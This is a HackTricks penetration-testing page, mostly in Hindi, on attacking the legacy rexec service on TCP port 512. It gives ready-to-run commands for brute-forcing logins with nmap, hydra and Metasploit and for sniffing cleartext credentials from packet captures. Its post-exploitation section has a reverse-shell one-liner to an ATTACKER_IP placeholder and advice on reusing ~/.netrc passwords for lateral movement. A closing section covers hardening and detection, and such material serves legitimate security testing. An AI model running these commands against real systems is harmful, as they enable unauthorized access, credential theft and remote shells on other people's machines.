512 - Pentesting Rexec
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
Basic Information
Rexec (remote exec) मूल Berkeley r-services सूट में से एक है (जिसमें rlogin
, rsh
, … शामिल हैं)। यह एक दूरस्थ कमांड-निष्पादन क्षमता प्रदान करता है जो केवल स्पष्ट-टेक्स्ट उपयोगकर्ता नाम और पासवर्ड के साथ प्रमाणित होता है। इस प्रोटोकॉल को 1980 के दशक की शुरुआत में परिभाषित किया गया था (देखें RFC 1060) और आज इसे डिजाइन द्वारा असुरक्षित माना जाता है। फिर भी, यह कुछ विरासती UNIX / नेटवर्क-से जुड़े उपकरणों में डिफ़ॉल्ट रूप से सक्षम है और कभी-कभी आंतरिक pentests के दौरान दिखाई देता है।
डिफ़ॉल्ट पोर्ट: TCP 512 (exec
)
PORT STATE SERVICE
512/tcp open exec
🔥 सभी ट्रैफ़िक - जिसमें क्रेडेंशियल्स शामिल हैं - असंक्रमित रूप से प्रेषित होता है। नेटवर्क को स्निफ़ करने की क्षमता रखने वाला कोई भी व्यक्ति उपयोगकर्ता नाम, पासवर्ड और कमांड को पुनर्प्राप्त कर सकता है।
प्रोटोकॉल त्वरित अवलोकन
- क्लाइंट TCP 512 से कनेक्ट होता है।
- क्लाइंट तीन NUL-terminated स्ट्रिंग्स भेजता है:
- पोर्ट नंबर (ASCII के रूप में) जहां वह stdout/stderr प्राप्त करना चाहता है (अक्सर
0
), - उपयोगकर्ता नाम,
- पासवर्ड।
- निष्पादित करने के लिए एक अंतिम NUL-terminated स्ट्रिंग के साथ कमांड भेजा जाता है।
- सर्वर एकल 8-बिट स्थिति बाइट (0 = सफलता,
1
= विफलता) के साथ प्रतिक्रिया करता है, इसके बाद कमांड आउटपुट होता है।
इसका मतलब है कि आप echo -e
और nc
के अलावा कुछ भी नहीं लेकर आदान-प्रदान को पुन: उत्पन्न कर सकते हैं:
(echo -ne "0\0user\0password\0id\0"; cat) | nc <target> 512
यदि क्रेडेंशियल मान्य हैं, तो आपको उसी कनेक्शन पर सीधे id
का आउटपुट प्राप्त होगा।
क्लाइंट के साथ मैनुअल उपयोग
कई लिनक्स वितरण अभी भी inetutils-rexec / rsh-client पैकेज के अंदर पुराना क्लाइंट प्रदान करते हैं:
rexec -l user -p password <target> "uname -a"
यदि -p
को छोड़ दिया गया है, तो क्लाइंट पासवर्ड के लिए इंटरैक्टिव रूप से संकेत देगा (जो कि वायर पर स्पष्ट पाठ में दिखाई देगा!)।
Enumeration & Brute-forcing
Brute-force
Nmap
nmap -p 512 --script rexec-info <target>
# Discover service banner and test for stdout port mis-configuration
nmap -p 512 --script rexec-brute --script-args "userdb=users.txt,passdb=rockyou.txt" <target>
rexec-brute
NSE उपरोक्त वर्णित प्रोटोकॉल का उपयोग करके बहुत तेजी से क्रेडेंशियल्स का प्रयास करता है।
Hydra / Medusa / Ncrack
hydra -L users.txt -P passwords.txt rexec://<target> -s 512 -t 8
hydra
का एक समर्पित rexec मॉड्यूल है और यह सबसे तेज़ ऑफ़लाइन ब्रूटफोर्सर बना रहता है। medusa
(-M REXEC
) और ncrack
(rexec
मॉड्यूल) का उपयोग उसी तरह किया जा सकता है।
Metasploit
use auxiliary/scanner/rservices/rexec_login
set RHOSTS <target>
set USER_FILE users.txt
set PASS_FILE passwords.txt
run
मॉड्यूल सफल होने पर एक शेल उत्पन्न करेगा और क्रेडेंशियल्स को डेटाबेस में स्टोर करेगा।
क्रेडेंशियल्स की स्निफिंग
क्योंकि सब कुछ स्पष्ट-टेक्स्ट में है, नेटवर्क कैप्चर अमूल्य हैं। ट्रैफ़िक की एक प्रति के साथ आप लक्ष्य को छुए बिना क्रेड्स निकाल सकते हैं:
tshark -r traffic.pcap -Y 'tcp.port == 512' -T fields -e data.decoded | \
awk -F"\\0" '{print $2":"$3" -> "$4}' # username:password -> command
(In Wireshark में Decode As … TCP 512 → REXEC सक्षम करें ताकि अच्छी तरह से पार्स किए गए फ़ील्ड देख सकें।)
Post-Exploitation tips
- दिए गए उपयोगकर्ता के विशेषाधिकारों के साथ कमांड चलाए जाते हैं। यदि
/etc/pam.d/rexec
गलत तरीके से कॉन्फ़िगर किया गया है (जैसेpam_rootok
), तो कभी-कभी रूट शेल संभव होते हैं। - Rexec उपयोगकर्ता के शेल की अनदेखी करता है और कमांड को
/bin/sh -c <cmd>
के माध्यम से निष्पादित करता है। इसलिए आप कई कमांड को जोड़ने या रिवर्स शेल उत्पन्न करने के लिए सामान्य शेल-एस्केप ट्रिक्स (;
,$( )
, बैकटिक) का उपयोग कर सकते हैं:
rexec -l user -p pass <target> 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
- पासवर्ड अक्सर अन्य सिस्टम पर ~/.netrc में संग्रहीत होते हैं; यदि आप एक होस्ट से समझौता करते हैं तो आप उन्हें पार्श्व आंदोलन के लिए पुन: उपयोग कर सकते हैं।
Hardening / Detection
- rexec को उजागर न करें; इसे SSH से बदलें। लगभग सभी आधुनिक inetd सुपर सर्वर डिफ़ॉल्ट रूप से सेवा को टिप्पणी करते हैं।
- यदि आपको इसे बनाए रखना है, तो TCP wrappers (
/etc/hosts.allow
) या फ़ायरवॉल नियमों के साथ पहुंच को सीमित करें और प्रति-खाता मजबूत पासवर्ड लागू करें। - :512 पर ट्रैफ़िक और
rexecd
प्रक्रिया लॉन्च के लिए निगरानी रखें। एकल पैकेट कैप्चर समझौते का पता लगाने के लिए पर्याप्त है। rexec
,rlogin
,rsh
को एक साथ निष्क्रिय करें - वे अधिकांश समान कोडबेस और कमजोरियों को साझा करते हैं।
References
- Nmap NSE
rexec-brute
दस्तावेज़ – https://nmap.org/nsedoc/scripts/rexec-brute.html - Rapid7 Metasploit मॉड्यूल
auxiliary/scanner/rservices/rexec_login
– https://www.rapid7.com/db/modules/auxiliary/scanner/rservices/rexec_login
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।